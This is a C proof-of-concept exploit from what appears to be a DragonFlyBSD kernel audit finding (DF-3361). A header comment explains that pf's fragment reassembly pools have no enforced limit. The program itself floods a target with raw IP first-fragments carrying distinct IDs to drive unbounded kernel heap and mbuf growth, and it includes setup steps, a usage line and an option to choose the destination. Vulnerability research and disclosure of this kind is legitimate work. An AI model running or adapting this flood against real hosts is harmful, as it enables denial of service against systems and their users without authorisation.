⬢ DragonFlyBSD Kernel Audit
DF-3361 / fragflood.c
← back to finding ↓ download raw
/*
 * DF-3361 trigger — pf fragment reassembly pools have NO enforced limit
 * (sys/net/pf/pf_norm.c): PFFRAG_FRENT_HIWAT / PFFRAG_FRAG_HIWAT /
 * PFFRAG_FRCACHE_HIWAT are registered in pf_pool_limits[] and
 * pfctl set-limit frags reads/writes the value, but nothing in the
 * fragment path ever checks it: pf_normalize_init() has the
 * pool_sethardlimit() calls commented out (pf_norm.c:118-123, "XXX"),
 * and pf_reassemble()/pf_fragcache() kmalloc() unconditionally
 * (pf_norm.c:355-363, :568-583, :966-971).  The only backpressure is
 * pf_flush_fragments() *after* a kmalloc already failed.
 *
 * Consequence: with `scrub ... fragment reassemble` (the default scrub
 * mode), each first-fragment of a distinct (src,dst,id,proto) tuple
 * pins a struct pf_fragment + struct pf_frent + the mbuf (up to a full
 * 64KB set each) for PFTM_FRAG (30s default), with no cap on the
 * number of entries.  A remote unauthenticated fragment flood drives
 * unbounded kernel heap/mbuf growth.
 *
 * Each new fragment for an existing key also refreshes fr_timeout
 * (pf_find_fragment, pf_norm.c:299), so actively fed sets never expire.
 *
 * Setup needed (root):
 *   kldload pf
 *   pfctl -f /root/poc/reass.conf   # scrub in on lo0 all fragment reassemble
 *   pfctl -e
 *
 * Usage: fragflood [count [payload_size]]
 *   Sends `count' MF fragments with distinct (src, id) keys.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned long s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff);
	s += (s >> 16);
	return (unsigned short)(~s);
}

static void
send_frag(int s, in_addr_t src, in_addr_t dst, unsigned short id,
    int paylen)
{
	static char pkt[65535 + 60];
	struct ip *ip = (struct ip *)pkt;
	struct sockaddr_in sin;
	int hlen = 20, total = hlen + paylen;

	memset(pkt, 0, total);
	ip->ip_v = IPVERSION;
	ip->ip_hl = hlen >> 2;
	ip->ip_len = htons(total);		/* DFly raw ip: network order */
	ip->ip_id = id;
	ip->ip_off = htons(IP_MF);		/* first fragment, MF set */
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_UDP;
	ip->ip_src.s_addr = src;
	ip->ip_dst.s_addr = dst;
	ip->ip_sum = cksum((unsigned short *)pkt, hlen);
	/* payload zero: irrelevant, the scrub path buffers before L4 */

	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = dst;
	if (sendto(s, pkt, total, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		if (errno != ENOBUFS)
			fprintf(stderr, "sendto: %s\n", strerror(errno));
	}
}

int
main(int argc, char **argv)
{
	in_addr_t dst = inet_addr("127.0.0.2");
	in_addr_t src = inet_addr("127.0.0.1");	/* must be local */
	int s, one = 1;
	long n = (argc > 1) ? atol(argv[1]) : 6000;
	int paylen = (argc > 2) ? atoi(argv[2]) : 1024;
	long i;
	struct timespec t0, t1;

	if (argc > 3)
		dst = inet_addr(argv[3]);

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket"); exit(1); }
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		{ perror("IP_HDRINCL"); exit(1); }

	clock_gettime(CLOCK_MONOTONIC, &t0);
	/* distinct keys: vary ip_id over 1..65535 (src/dst/proto fixed);
	 * raw sockets require a local source address, so only ip_id varies
	 * here -- 65536 distinct keys already exceed the intended
	 * PFFRAG_FRENT_HIWAT cap of 5000 by 13x.  (Remote attackers have
	 * the whole 32-bit source space on top.) */
	for (i = 0; i < n; i++) {
		send_frag(s, src, dst, (unsigned short)(1 + (i & 0xffff)),
		    paylen);
		if ((i % 10000) == 9999) {
			printf("sent %ld\n", i + 1);
			fflush(stdout);
		}
	}
	clock_gettime(CLOCK_MONOTONIC, &t1);
	printf("done %ld pkts in %.1fs (%.0f pps)\n", n,
	    (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9,
	    n / ((t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9 + 0.001));
	return (0);
}